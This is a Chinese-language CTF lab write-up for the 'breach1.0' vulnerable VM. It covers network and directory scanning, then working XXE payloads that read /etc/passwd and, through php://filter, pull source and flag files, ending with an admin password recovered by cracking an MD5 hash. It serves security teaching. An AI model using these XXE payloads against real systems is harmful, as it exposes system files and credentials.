breach1.0靶机(靶机实验)

靶机介绍

Haboob团队根据https://www.exploit-db.com/docs/45374发表的论文\\”XML外部实体注入-解释和利用\\”制作了这个虚拟机以利用私有网络中的漏洞,我们希望你喜欢这个挑战!

靶机攻防

攻击主机

这里我们使用Kali linux和Windows 11作为本次攻击主机:

breach1.0靶机(靶机实验)

信息收集

由于靶机和攻击者主机Kali处于同一网段,所以我们进行一次网段扫描探测,最终确定靶机IP地址为192.168.204.138

nmap -sS 192.168.204.135/24

breach1.0靶机(靶机实验)

在浏览器中访问靶机的80端口,发现只有一个apache服务启动

breach1.0靶机(靶机实验)

随后我们进一步探测目标信息,使用dirsearch进行目录扫描

dirsearch -u http://192.168.204.138

breach1.0靶机(靶机实验)

通过上面的目录探测扫描发现robots.txt文件,随后我们在浏览器中进行访问,发现xxe路径以及admin.php

breach1.0靶机(靶机实验)

随后我们访问xxe路径:

breach1.0靶机(靶机实验)

访问admin.php提示文件不存在

breach1.0靶机(靶机实验)

注入测试

随后我们在xxe页面中填写表单进行一个简单的抓包

breach1.0靶机(靶机实验)

可以看到这里的请求数据包为XML格式

breach1.0靶机(靶机实验)

随后我们在这里进行XXE注入测试,发现存在XXE漏洞

<?xml version=\\\"1.0\\\" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM \\\"file:///etc/passwd\\\">]><root><name>&sp;</name><password>hj</password></root>

breach1.0靶机(靶机实验)

随后我们直接读取admin.php文件试试

<?xml version=\\\"1.0\\\" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM \\\"php://filter/read=convert.base64-encode/resource=admin.php\\\">]><root><name>&sp;</name><password>hj</password></root>

breach1.0靶机(靶机实验)

随后对返回的内容进行base64解码

breach1.0靶机(靶机实验)

得到解码的文件内容如下:

<?php   session_start();?>

<html lang = \\\"en\\\"> <head> <title>admin</title> <link href = \\\"css/bootstrap.min.css\\\" rel = \\\"stylesheet\\\"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type=\\\"email\\\"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[type=\\\"password\\\"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; }</style> </head> <body> <h2>Enter Username and Password</h2> <div class = \\\"container form-signin\\\"> <?php $msg = \\\'\\\'; if (isset($_POST[\\\'login\\\']) && !empty($_POST[\\\'username\\\']) && !empty($_POST[\\\'password\\\'])) { if ($_POST[\\\'username\\\'] == \\\'administhebest\\\' && md5($_POST[\\\'password\\\']) == \\\'e6e061838856bf47e1de730719fb2609\\\') { $_SESSION[\\\'valid\\\'] = true; $_SESSION[\\\'timeout\\\'] = time(); $_SESSION[\\\'username\\\'] = \\\'administhebest\\\'; echo \\\"You have entered valid use name and password <br />\\\"; $flag = \\\"Here is the <a style=\\\'color:FF0000;\\\' href=\\\'/flagmeout.php\\\'>Flag</a>\\\"; echo $flag; }else { $msg = \\\'Maybe Later\\\'; } } ?> </div> <!-- W00t/W00t --> <div class = \\\"container\\\"> <form class = \\\"form-signin\\\" role = \\\"form\\\" action = \\\"<?php echo htmlspecialchars($_SERVER[\\\'PHP_SELF\\\']); ?>\\\" method = \\\"post\\\"> <h4 class = \\\"form-signin-heading\\\"><?php echo $msg; ?></h4> <input type = \\\"text\\\" class = \\\"form-control\\\" name = \\\"username\\\" required autofocus></br> <input type = \\\"password\\\" class = \\\"form-control\\\" name = \\\"password\\\" required> <button class = \\\"btn btn-lg btn-primary btn-block\\\" type = \\\"submit\\\" name = \\\"login\\\">Login</button> </form> Click here to clean <a href = \\\"adminlog.php\\\" tite = \\\"Logout\\\">Session. </div> </body></html>

通过对上面的源代码进行分析我们可以得到用户名:administhebest,密码:e6e061838856bf47e1de730719fb2609,随后对密码进行MD5解密,得到明文密码:admin@123

breach1.0靶机(靶机实验)

登录系统

在获取到用户名和密码之后我们登录系统,结果发现提示\\”Sorry, this administhebest not available\\”

breach1.0靶机(靶机实验)

此时心凉了一半,随后我们发现在xxe后面拼接admin.php后会直接跳转到一个登录页面,随后我们使用上述账户密码进行登录操作:

breach1.0靶机(靶机实验)

随后出现一个flag的提示:

breach1.0靶机(靶机实验)

此时我们直接点击会跳转到flagmeout.php页面中去

breach1.0靶机(靶机实验)

提取Flag

随后我们和之前一样的操作来读取flagmeout.php源码文件:

<?xml version=\\\"1.0\\\" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM \\\"php://filter/read=convert.base64-encode/resource=flagmeout.php\\\">]><root><name>&sp;</name><password>hj</password></root>

breach1.0靶机(靶机实验)

随后再次进行base64解码操作:

breach1.0靶机(靶机实验)

随后使用base32对上述代码进行解密操作:

https://simplycalc.com/base32-decode.php

breach1.0靶机(靶机实验)

再进行一次base64解码操作:

breach1.0靶机(靶机实验)

随后我们知道了flag再/etc/.flag.php文件中,下面我们就是去读取该文件获取对应的flag数据信息了

<?xml version=\\\"1.0\\\" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM \\\"php://filter/read=convert.base64-encode/resource=/etc/.flag.php\\\">]><root><name>&sp;</name><password>hj</password></root>

breach1.0靶机(靶机实验)

随后再次进行base64解码得到一大串数据信息

breach1.0靶机(靶机实验)

随后保存以上解码后的文件并以php进行运行(需要低版本的PHP,建议PHP5),得到flag:SAFCSP{xxe_is_so_easy}

文末小结

本篇文章以XXE靶机为例对XXE漏洞的发现、漏洞的利用进行了详细的介绍~

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34085.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月11日 上午6:18
下一篇 2024年4月11日 上午6:20

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注